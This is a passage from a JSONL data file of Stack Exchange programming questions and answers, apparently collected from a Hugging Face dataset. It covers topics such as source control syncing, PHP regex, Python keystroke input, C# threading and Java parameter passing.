OSX can be found at\nemacsformacosx.com\n. In addition to the latest stable release, there are also pre-release test builds and nightly builds, and Atom feeds are provided for tracking all three release types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.855519"}
{"id": "hf_e3d7124243a7", "question": "<p>My office has a central Source Safe 2005 install that we use for source control. I can't change what the office uses on the server. </p>\n\n<p>I develop on a laptop and would like to have a different local source control repository that can sync with the central server (when available) regardless of the what that central provider is. The reason for the request is so I can maintain a local stable branch/build for client presentations while continuing to develop without having to jump through flaming hoops. Also, as a consultant, my clients may request that I use their source control provider and flexibility here would make life easier.</p>\n\n<p>Can any of the existing distributed source control clients handle that?</p>\n", "question_body": "", "answer": "You should be able to check out the current version of the code and then create a git repository around it. Updating that and committing it to your local git repository should be painless. As should cloning it.\nThe only catch is that you need to have them both ignore each other (I've done something similar with SVN) by messing with the appropriate ignore files. I'm presuming SourceSafe let's you ignore things. And you'll need to do certain operations twice (like telling both that you are deleting a file).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.877673"}
{"id": "hf_a7371e5e79e3", "question": "<p>I'm looking for some way to effectively hide inherited members. I have a library of classes which inherit from common base classes.  Some of the more recent descendant classes inherit dependency properties which have become vestigial and can be a little confusing when using <em>IntelliSense</em> or using the classes in a visual designer.</p>\n\n<p>These classes are all controls that are written to be compiled for either WPF or Silverlight 2.0.  I know about <code>ICustomTypeDescriptor</code> and <code>ICustomPropertyProvider</code>, but I'm pretty certain those can't be used in Silverlight.  </p>\n\n<p>It's not as much a functional issue as a usability issue.  What should I do?</p>\n\n<p><strong>Update</strong></p>\n\n<p>Some of the properties that I would really like to hide come from ancestors that are not my own and because of a specific tool I'm designing for, I can't do member hiding with the <code>new</code> operator.  (I know, it's ridiculous)</p>\n", "question_body": "", "answer": "While you cannot prevent usage of those inherited members to my knowledge, you should be able to hide them from IntelliSense using the\nEditorBrowsableAttribute\n:\n```\n```\nUsing System.ComponentModel;\n\n[EditorBrowsable(EditorBrowsableState.Never)]\nprivate string MyHiddenString = \"Muahahahahahahahaha\";\n```\n```\nEdit:\nJust saw this in the documentation comments, which makes it kinda useless for this purpose:\nThere is a prominent note that states that this attribute \"does not suppress members from a class in the same assembly\". That is true but not complete. Actually, the attribute does not suppress members from a class in the same solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.901702"}
{"id": "hf_1efa269bc519", "question": "<p>When I want to make a copy of a database, I always create a new empty database, and then restore a backup of the existing database into it. However, I'm wondering if this is really the least error-prone, least complicated, and most efficient way to do this?</p>\n", "question_body": "", "answer": "It is possible to skip the step of creating the empty database. You can create the new database as part of the restore process.\nThis is actually the easiest and best way I know of to clone a database. You can eliminate errors by scripting the backup and restore process rather than running it through the SQL Server Management Studio\nThere are two other options you could explore:\nDetach the database, copy the .mdf file and re-attach.\nUse SQL Server Integration Services (SSIS) to copy all the objects over\nI suggest sticking with backup and restore and automating if necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.961126"}
{"id": "hf_2d461cb9de5c", "question": "<p>The <code>.XFDL</code> file extension identifies <code>XFDL</code> Formatted Document files. These belong to the XML-based document and template formatting standard. This format is exactly like the XML file format however, contains a level of encryption for use in secure communications.</p>\n\n<p>I know how to view XFDL files using a file viewer I found <a href=\"http://web.archive.org/web/20170903022252/http://www.e-publishing.af.mil:80/viewerdownload.asp\" rel=\"nofollow noreferrer\">here</a>.  I can also modify and save these files by doing File:Save/Save As.  I'd like, however, to modify these files on the fly. Any suggestions? Is this even possible?</p>\n\n<p>Update #1: I have now successfully decoded and unziped a <code>.xfdl</code> into an XML file which I can then edit. Now, I am looking for a way to re-encode the modified XML file back into base64-gzip (using Ruby or the command line)</p>\n", "question_body": "", "answer": "If the encoding is\nbase64\nthen this is the solution I've stumbled upon on the web:\n\"Decoding XDFL files saved with 'encoding=base64'.\nFiles saved with:\n```\n```\napplication/vnd.xfdl;content-encoding=\"base64-gzip\"\n```\n```\nare simple base64-encoded gzip files. They can be easily restored to XML by first decoding and then unzipping them. This can be done as follows on Ubuntu:\n```\n```\nsudo apt-get install uudeview\nuudeview -i yourform.xfdl\ngunzip -S \"\" < UNKNOWN.001 > yourform-unpacked.xfdl\n```\n```\nThe first command will install uudeview, a package that can decode base64, among others. You can skip this step once it is installed.\nAssuming your form is saved as 'yourform.xfdl', the uudeview command will decode the contents as 'UNKNOWN.001', since the xfdl file doesn't contain a file name. The '-i' option makes uudeview uninteractive, remove that option for more control.\nThe last command gunzips the decoded file into a file named 'yourform-unpacked.xfdl'.\nAnother\npossible solution -\nhere\nSide Note: Block quoted < code > doesn't work for long strings of code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.013379"}
{"id": "hf_d9068ad36c51", "question": "<p>When spliting a solution in to logical layers, when is it best to use a separate project over just grouping by a folder?</p>\n", "question_body": "", "answer": "I usually do a project for the GUI a project for the business logic a project for data access and a project for unit tests.\nBut sometimes it is prudent to have separation based upon services (if you are using a service oriented architecture) Such as Authentication, Sales, etc.\nI guess the rule of thumb that I work off of is that if you can see it as a component that has a clear separation of concerns then a different project could be prudent. But I would think that folders versus projects could just be a preference or philosophy.\nI personally feel that if reusable code is split into projects it is simpler to use other places than if it is just in folders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.051321"}
{"id": "hf_379e473783f8", "question": "<p>I'm writing an app to help facilitate some research, and part of this involves doing some statistical calculations. Right now, the researchers are using a program called <a href=\"http://en.wikipedia.org/wiki/Spss\" rel=\"noreferrer\">SPSS</a>. Part of the output that they care about looks like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/m0swl.png\" alt=\"[Part of the SPSS output\"></p>\n\n<p>They're really only concerned about the <code>F</code> and <code>Sig.</code> values. My problem is that I have no background in statistics, and I can't figure out what the tests are called, or how to calculate them.</p>\n\n<p>I thought the <code>F</code> value might be the result of the <a href=\"http://en.wikipedia.org/wiki/F-test#Table_on_F-test\" rel=\"noreferrer\">F-test</a>, but after following the steps given on Wikipedia, I got a result that was different from what <code>SPSS</code> gives.</p>\n", "question_body": "", "answer": "This website\nmight help you out a bit more.  Also\nthis one\n.\nI'm working from a fairly rusty memory of a statistics course, but here goes nothing:\nWhen you're doing analysis of variance (ANOVA), you actually calculate the F statistic as the ratio from the mean-square variances \"between the groups\" and the mean-square variances \"within the groups\".  The second link above seems pretty good for this calculation.\nThis makes the F statistic measure exactly how powerful your model is, because the \"between the groups\" variance is explanatory power, and \"within the groups\" variance is random error.  High F implies a highly significant model.\nAs in many statistical operations, you back-determine Sig. using the F statistic.  Here's where your Wikipedia information comes in slightly handy.  What you want to do is - using the degrees of freedom given to you by SPSS - find the proper P value at which an\nF table\nwill give you the F statistic you calculated.  The P value where this happens [F(table) = F(calculated)] is the significance.\nConceptually, a lower significance value shows a very strong ability to reject the null hypothesis (which for these purposes means to determine your model has explanatory power).\nSorry to any math folks if any of this is wrong.  I'll be checking back to make edits!!!\nGood luck to you.  Stats is fun, just maybe not this part.  =)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.124533"}
{"id": "hf_be08fcb1f8ed", "question": "<p>If you could go back in time and tell yourself to read a specific book at the beginning of your career as a developer, which book would it be?</p>\n\n<p>I expect this list to be varied and to cover a wide range of things.</p>\n\n<p><strong>To search:</strong> Use the search box in the upper-right corner. To search the answers of the current question, use <code>inquestion:this</code>.  For example:</p>\n\n<pre><code>inquestion:this \"Code Complete\"\n</code></pre>\n", "question_body": "", "answer": "Code Complete\n(2nd edition) by Steve McConnell\nThe Pragmatic Programmer\nStructure and Interpretation of Computer Programs\nThe C Programming Language\nby Kernighan and Ritchie\nIntroduction to Algorithms\nby Cormen, Leiserson, Rivest & Stein\nDesign Patterns\nby the Gang of Four\nRefactoring: Improving the Design of Existing Code\nThe Mythical Man Month\nThe Art of Computer Programming\nby Donald Knuth\nCompilers: Principles, Techniques and Tools\nby Alfred V. Aho, Ravi Sethi and Jeffrey D. Ullman\nGödel, Escher, Bach\nby Douglas Hofstadter\nClean Code: A Handbook of Agile Software Craftsmanship\nby Robert C. Martin\nEffective C++\nMore Effective C++\nCODE\nby Charles Petzold\nProgramming Pearls\nby Jon Bentley\nWorking Effectively with Legacy Code\nby Michael C. Feathers\nPeopleware\nby Demarco and Lister\nCoders at Work\nby Peter Seibel\nSurely You're Joking, Mr. Feynman!\nEffective Java\n2nd edition\nPatterns of Enterprise Application Architecture\nby Martin Fowler\nThe Little Schemer\nThe Seasoned Schemer\nWhy's (Poignant) Guide to Ruby\nThe Inmates Are Running The Asylum: Why High Tech Products Drive Us Crazy and How to Restore the Sanity\nThe Art of Unix Programming\nTest-Driven Development: By Example\nby Kent Beck\nPractices of an Agile Developer\nDon't Make Me Think\nAgile Software Development, Principles, Patterns, and Practices\nby Robert C. Martin\nDomain Driven Designs\nby Eric Evans\nThe Design of Everyday Things\nby Donald Norman\nModern C++ Design\nby Andrei Alexandrescu\nBest Software Writing I\nby Joel Spolsky\nThe Practice of Programming\nby Kernighan and Pike\nPragmatic Thinking and Learning: Refactor Your Wetware\nby Andy Hunt\nSoftware Estimation: Demystifying the Black Art\nby Steve McConnel\nThe Passionate Programmer (My Job Went To India)\nby Chad Fowler\nHackers: Heroes of the Computer Revolution\nAlgorithms + Data Structures = Programs\nWriting Solid Code\nJavaScript - The Good Parts\nGetting Real\nby 37 Signals\nFoundations of Programming\nby Karl Seguin\nComputer Graphics: Principles and Practice in C\n(2nd Edition)\nThinking in Java\nby Bruce Eckel\nThe Elements of Computing Systems\nRefactoring to Patterns\nby Joshua Kerievsky\nModern Operating Systems\nby Andrew S. Tanenbaum\nThe Annotated Turing\nThings That Make Us Smart\nby Donald Norman\nThe Timeless Way of Building\nby Christopher Alexander\nThe Deadline: A Novel About Project Management\nby Tom DeMarco\nThe C++ Programming Language (3rd edition)\nby Stroustrup\nPatterns of Enterprise Application Architecture\nComputer Systems - A Programmer's Perspective\nAgile Principles, Patterns, and Practices in C#\nby Robert C. Martin\nGrowing Object-Oriented Software, Guided\nby Tests\nFramework Design Guidelines\nby Brad Abrams\nObject Thinking\nby Dr. David West\nAdvanced Programming in the UNIX Environment\nby W. Richard Stevens\nHackers and Painters: Big Ideas from the Computer Age\nThe Soul of a New Machine\nby Tracy Kidder\nCLR via C#\nby Jeffrey Richter\nThe Timeless Way of Building\nby Christopher Alexander\nDesign Patterns in C#\nby Steve Metsker\nAlice in Wonderland\nby Lewis Carol\nZen and the Art of Motorcycle Maintenance\nby Robert M. Pirsig\nAbout Face - The Essentials of Interaction Design\nHere Comes Everybody: The Power of Organizing Without Organizations\nby Clay Shirky\nThe Tao of Programming\nComputational Beauty of Nature\nWriting Solid Code\nby Steve Maguire\nPhilip and Alex's Guide to Web Publishing\nObject-Oriented Analysis and Design with Applications\nby Grady Booch\nEffective Java\nby Joshua Bloch\nComputability\nby N. J. Cutland\nMasterminds of Programming\nThe Tao Te Ching\nThe Productive Programmer\nThe Art of Deception\nby Kevin Mitnick\nThe Career Programmer: Guerilla Tactics for an Imperfect World\nby Christopher Duncan\nParadigms of Artificial Intelligence Programming: Case studies in Common Lisp\nMasters of Doom\nPragmatic Unit Testing in C# with NUnit\nby Andy Hunt and Dave Thomas with Matt Hargett\nHow To Solve It\nby George Polya\nThe Alchemist\nby Paulo Coelho\nSmalltalk-80: The Language and its Implementation\nWriting Secure Code\n(2nd Edition) by Michael Howard\nIntroduction to Functional Programming\nby Philip Wadler and Richard Bird\nNo Bugs!\nby David Thielen\nRework\nby Jason Freid and DHH\nJUnit in Action", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.174613"}
{"id": "hf_3f2cd1c89e07", "question": "<p>I am trying to grab the capital letters of a couple of words and wrap them in span tags. I am using <a href=\"http://php.net/manual/en/function.preg-replace.php\" rel=\"noreferrer\">preg_replace</a> for extract and wrapping purposes, but it's not outputting anything.</p>\n\n<pre><code>preg_replace(\"/[A-Z]/\", \"&lt;span class=\\\"initial\\\"&gt;$1&lt;/span&gt;\", $str)\n</code></pre>\n", "question_body": "", "answer": "You need to put the pattern in parentheses\n```\n/([A-Z])/\n```\n, like this:\n```\n```\npreg_replace(\"/([A-Z])/\", \"<span class=\\\"initial\\\">$1</span>\", $str)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.214023"}
{"id": "hf_fffddbdd8ad9", "question": "<p>I am getting back into a bit more .NET after a few-years of not using it full-time and am wondering what the good unit testing packages are these days.</p>\n<p>I'm familiar with NUnit (a few years ago) and have played briefly around with <a href=\"https://en.wikipedia.org/wiki/IronRuby\" rel=\"nofollow noreferrer\">IronRuby</a>, with the goal of getting something like <a href=\"https://en.wikipedia.org/wiki/RSpec\" rel=\"nofollow noreferrer\">RSpec</a> going, but I don't know much beyond that.</p>\n<p>I realize I could google for this and call it a day, but I believe I'm likely to get a better and more informed response from asking a question here :-)</p>\n<p>Suggestions?</p>\n", "question_body": "", "answer": "I like\nMbUnit\n, er,\nGallio\n.  Most importantly to me is having good tools support inside Visual Studio.  For that I use\nResharper\n, which has an\nMbUnit test runner\n.  A lot of folks seem to like\nTestDriven.NET\nas their test runner as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.239005"}
{"id": "hf_dceb7555120e", "question": "<p>I am trying to set a flag to show or hide a page element, but it always displays even when the expression is false. </p>\n\n<pre><code>$canMerge = ($condition1 &amp;&amp; $condition2) ? 'true' : 'false';\n...\n&lt;?php if ($canMerge) { ?&gt;Stuff&lt;?php } ?&gt;\n</code></pre>\n\n<p>What's up?</p>\n", "question_body": "", "answer": "The value of 'false' is true. You need to remove the quotes:\n```\n```\n$canMerge = ($condition1 && $condition2) ? true : false;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.263419"}
{"id": "hf_a1315dc8d0a9", "question": "<p>I've got a menu in Python. That part was easy. I'm using <code>raw_input()</code> to get the selection from the user. </p>\n\n<p>The problem is that <code>raw_input</code> (and input) require the user to press <kbd>Enter</kbd> after they make a selection. Is there any way to make the program act immediately upon a keystroke? Here's what I've got so far:</p>\n\n<pre><code>import sys\nprint \"\"\"Menu\n1) Say Foo\n2) Say Bar\"\"\"\nanswer = raw_input(\"Make a selection&gt; \")\n\nif \"1\" in answer: print \"foo\"\nelif \"2\" in answer: print \"bar\"\n</code></pre>\n\n<p>It would be great to have something like</p>\n\n<pre><code>print menu\nwhile lastKey = \"\":\n    lastKey = check_for_recent_keystrokes()\nif \"1\" in lastKey: #do stuff...\n</code></pre>\n", "question_body": "", "answer": "On Linux:\nset raw mode\nselect and read the keystroke\nrestore normal settings\n```\nimport sys\nimport select\nimport termios\nimport tty\n\ndef getkey():\n    old_settings = termios.tcgetattr(sys.stdin)\n    tty.setraw(sys.stdin.fileno())\n    select.select([sys.stdin], [], [], 0)\n    answer = sys.stdin.read(1)\n    termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)\n    return answer\n\nprint \"\"\"Menu\n1) Say Foo\n2) Say Bar\"\"\"\n\nanswer=getkey()\n\nif \"1\" in answer: print \"foo\"\nelif \"2\" in answer: print \"bar\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.304071"}
{"id": "hf_4a9cbc67928e", "question": "<p>OK. This is a bit of a vanity app, but I had a situation today at work where I was in a training class and the machine was set to lock every 10 minutes.  Well, if the trainers got excited about talking - as opposed to changing slides - the machine would lock up.</p>\n\n<p>I'd like to write a teeny app that has nothing but a taskbar icon that does nothing but move the mouse by 1 pixel every 4 minutes.  </p>\n\n<p>I can do that in 3 ways with Delphi (my strong language) but I'm moving to C# for work and I'd like to know the path of least resistance there.</p>\n", "question_body": "", "answer": "for C# 3.5\nwithout notifyicon therefore you will need to terminate this application in task manager manually\n```\n```\nusing System;\nusing System.Drawing;\nusing System.Windows.Forms;\n\nstatic class Program\n{\n    static void Main()\n    {\n        Timer timer = new Timer();\n        // timer.Interval = 4 minutes\n        timer.Interval = (int)(TimeSpan.TicksPerMinute * 4 / TimeSpan.TicksPerMillisecond);\n        timer.Tick += (sender, args) => { Cursor.Position = new Point(Cursor.Position.X + 1, Cursor.Position.Y + 1); };\n        timer.Start();\n        Application.Run();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.330503"}
{"id": "hf_6ecb1a6c5f72", "question": "<p>I am currently working on a project and my goal is to locate text in an image. OCR'ing the text is not my intention as of yet. I want to basically obtain the bounds of text within an image. I am using the AForge.Net imaging component for manipulation. Any assistance in some sense or another?</p>\n\n<p>Update 2/5/09:\nI've since went along another route in my project. However I did attempt to obtain text using MODI (Microsoft Office Document Imaging). It allows you to OCR an image and pull text from it with some ease.</p>\n", "question_body": "", "answer": "This is an active area of research. There are literally oodles of academic papers on the subject. It's going to be difficult to give you assistance especially w/o more deatails. Are you looking for specific types of text? Fonts? English-only? Are you familiar with the academic literature?\n\"Text detection\" is a standard problem in any OCR (optical character recognition) system and consequently there are lots of bits of code on the interwebs that deal with it.\nI could start listing piles of links from google but I suggest you just do a search for \"text detection\" and start reading :). There is ample example code available as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.354819"}
{"id": "hf_50636b5921cd", "question": "<p>What's the best way to import a CSV file into a strongly-typed data structure?</p>\n", "question_body": "", "answer": "A good simple way to do it is to open the file, and read each line into an array, linked list, data-structure-of-your-choice. Be careful about handling the first line though.\nThis may be over your head, but there seems to be a direct way to access them as well using a\nconnection string\n.\nWhy not try using Python instead of C# or VB? It has a nice CSV module to import that does all the heavy lifting for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.403533"}
{"id": "hf_c746cb443639", "question": "<p>Using ASP.NET MVC there are situations (such as form submission) that may require a <code>RedirectToAction</code>.  </p>\n\n<p>One such situation is when you encounter validation errors after a form submission and need to redirect back to the form, but would like the URL to reflect the URL of the form, not the action page it submits to.</p>\n\n<p>As I require the form to contain the originally <code>POST</code>ed data, for user convenience, as well as validation purposes, how can I pass the data through the <code>RedirectToAction()</code>?  If I use the viewData parameter, my <code>POST</code> parameters will be changed to <code>GET</code> parameters.</p>\n", "question_body": "", "answer": "The solution is to use the TempData property to store the desired Request components.\nFor instance:\n```\n```\npublic ActionResult Send()\n{\n    TempData[\"form\"] = Request.Form;\n    return this.RedirectToAction(a => a.Form());\n}\n```\n```\nThen in your \"Form\" action you can go:\n```\n```\npublic ActionResult Form()\n{\n    /* Declare viewData etc. */\n\n    if (TempData[\"form\"] != null)\n    {\n        /* Cast TempData[\"form\"] to \n        System.Collections.Specialized.NameValueCollection \n        and use it */\n    }\n\n    return View(\"Form\", viewData);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.439317"}
{"id": "hf_c1c222168e74", "question": "<p>I was just wondering if there is an elegant way to set the maximum CPU load for a particular thread doing intensive calculations.\n<br/><br/>Right now I have located the most time consuming loop in the thread (it does only compression) and use <code>GetTickCount()</code> and <code>Sleep()</code> with hardcoded values. It makes sure that the loop continues for a certain period and then sleeps for a certain minimum time. It more or less does the job, i.e. guarantees that the thread will not use more than 50% of CPU. <br>However, behavior is dependent on the number of CPU cores (huge disadvantage) and simply ugly (smaller disadvantage :)). <br>Any ideas?</p>\n", "question_body": "", "answer": "I can't think of any cross platform way of what you want (or any guaranteed way full stop) but as you are using GetTickCount perhaps you aren't interested in cross platform :)\nI'd use interprocess communications and set the intensive processes nice levels to get what you require but I'm not sure that's appropriate for your situation.\nEDIT:\nI agree with\nBernard\nwhich is why I think a process rather than a thread might be more appropriate but it just might not suit your purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.475314"}
{"id": "hf_45b9975d7bae", "question": "<p>In many places, <code>(1,2,3)</code> (a tuple) and <code>[1,2,3]</code> (a list) can be used interchangeably.</p>\n\n<p>When should I use one or the other, and why?</p>\n", "question_body": "", "answer": "The list\n```\n[1,2,3]\n```\nis dynamic and flexible but that flexibility comes at a speed cost.\nThe tuple\n```\n(1,2,3)\n```\nis fixed (immutable) and therefore faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.499710"}
{"id": "hf_bf2fa1032b51", "question": "<p>When you data bind in C#, the thread that changes the data causes the control to change too. But if this thread is not the one on which the control was created, you'll get an Illegal Cross Thread Operation exception.</p>\n\n<p>Is there anyway to prevent this?</p>\n", "question_body": "", "answer": "You should be able to do something like:\n```\n```\nif (control.InvokeRequired)\n{\n    control.Invoke(delegateWithMyCode);\n}\nelse\n{\n    delegateWithMyCode();\n}\n```\n```\nInvokeRequired is a property on Controls to see if you are on the correct thread, then Invoke will invoke the delegate on the correct thread.\nUPDATE: Actually, at my last job we did something like this:\n```\n```\nprivate void SomeEventHandler(Object someParam)\n{\n    if (this.InvokeRequired)\n    {\n        this.Invoke(new SomeEventHandlerDelegate(SomeEventHandler), someParam);\n    }\n\n    // Regular handling code\n}\n```\n```\nwhich removes the need for the else block and kind of tightens up the code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.537387"}
{"id": "hf_59bc1cfa7856", "question": "<p>When learning a new programming language, one of the possible roadblocks you might encounter is the question whether the language is, by default, <em>pass-by-value or pass-by-reference</em>.</p>\n\n<p>So here is my question to all of you, in your favorite language, <em>how</em> is it actually done? And what are the <em>possible pitfalls</em>?</p>\n\n<p>Your favorite language can, of course, be anything you have ever played with: <a href=\"http://www.ruby-lang.org/en/\" rel=\"noreferrer\">popular</a>, <a href=\"http://www.devtopics.com/a-obscure-programming-language-of-the-month/\" rel=\"noreferrer\">obscure</a>, <a href=\"http://en.wikipedia.org/wiki/Brainfuck\" rel=\"noreferrer\">esoteric</a>, <a href=\"http://www.nvidia.com/object/cuda_get.html\" rel=\"noreferrer\">new</a>, <a href=\"http://en.wikipedia.org/wiki/FORTRAN\" rel=\"noreferrer\">old</a>...</p>\n", "question_body": "", "answer": "Here is my own contribution for the\nJava programming language\n.\nfirst some code:\n```\n```\npublic void swap(int x, int y)\n{\n  int tmp = x;\n  x = y;\n  y = tmp;\n}\n```\n```\ncalling this method will result in this:\n```\n```\nint pi = 3;\nint everything = 42;\n\nswap(pi, everything);\n\nSystem.out.println(\"pi: \" + pi);\nSystem.out.println(\"everything: \" + everything);\n\n\"Output:\npi: 3\neverything: 42\"\n```\n```\neven using 'real' objects will show a similar result:\n```\n```\npublic class MyObj {\n    private String msg;\n    private int number;\n\n    //getters and setters\n    public String getMsg() {\n        return this.msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public int getNumber() {\n        return this.number;\n    }\n\n    public void setNumber(int number) {\n        this.number = number;\n    }\n\n    //constructor\n    public MyObj(String msg, int number) {\n        setMsg(msg);\n        setNumber(number);\n    }\n}\n\npublic static void swap(MyObj x, MyObj y)\n{\n    MyObj tmp = x;\n    x = y;\n    y = tmp;\n}\n\npublic static void main(String args[]) {\n    MyObj x = new MyObj(\"Hello world\", 1);\n    MyObj y = new MyObj(\"Goodbye Cruel World\", -1); \n\n    swap(x, y);\n\n    System.out.println(x.getMsg() + \" -- \"+  x.getNumber());\n    System.out.println(y.getMsg() + \" -- \"+  y.getNumber());\n}\n\n\"Output:\nHello world -- 1\nGoodbye Cruel World -- -1\"\n```\n```\nthus it is clear that Java passes its parameters\nby value\n, as the value for\npi\nand\neverything\nand the\nMyObj objects\naren't swapped.\nbe aware that \"by value\" is the\nonly way\nin java to pass parameters to a method. (for example a language like c++ allows the developer to pass a parameter by reference using '\n&\n' after the parameter's type)\nnow the\ntricky part\n, or at least the part that will confuse most of the new java developers: (borrowed from\njavaworld\n)\nOriginal author: Tony Sintes\n```\n```\npublic void tricky(Point arg1, Point arg2)\n{\n    arg1.x = 100;\n    arg1.y = 100;\n    Point temp = arg1;\n    arg1 = arg2;\n    arg2 = temp;\n}\npublic static void main(String [] args)\n{\n    Point pnt1 = new Point(0,0);\n    Point pnt2 = new Point(0,0);\n    System.out.println(\"X: \" + pnt1.x + \" Y: \" +pnt1.y); \n    System.out.println(\"X: \" + pnt2.x + \" Y: \" +pnt2.y);\n    System.out.println(\" \");\n    tricky(pnt1,pnt2);\n    System.out.println(\"X: \" + pnt1.x + \" Y:\" + pnt1.y); \n    System.out.println(\"X: \" + pnt2.x + \" Y: \" +pnt2.y);  \n}\n\n\"Output\nX: 0 Y: 0\nX: 0 Y: 0\nX: 100 Y: 100\nX: 0 Y: 0\"\n```\n```\ntricky\nsuccessfully changes the value of pnt1!\nThis would imply that Objects are passed by reference, this is not the case!\nA correct statement would be:\nthe\nObject references\nare passed by value.\nmore from Tony Sintes:\nThe method successfully alters the\n  value of pnt1, even though it is\n  passed by value; however, a swap of\n  pnt1 and pnt2 fails! This is the major\n  source of confusion. In the main()\n  method, pnt1 and pnt2 are nothing more\n  than object references. When you pass\n  pnt1 and pnt2 to the tricky() method,\n  Java passes the references by value\n  just like any other parameter. This\n  means the references passed to the\n  method are actually copies of the\n  original references. Figure 1 below\n  shows two references pointing to the\n  same object after Java passes an\n  object to a method.\n(source:\njavaworld.com\n)\nConclusion\nor a long story short:\nJava passes it parameters\nby value\n\"by value\"\nis the\nonly way\nin java to pass a parameter to a method\nusing\nmethods from the object\ngiven as parameter\nwill alter\nthe object as the references point to the original objects. (if that method itself alters some values)\nuseful links:\nhttp://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html\nhttp://www.ibm.com/developerworks/java/library/j-passbyval/\nhttp://www.ibm.com/developerworks/library/j-praxis/pr1.html\nhttp://javadude.com/articles/passbyvalue.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.573761"}
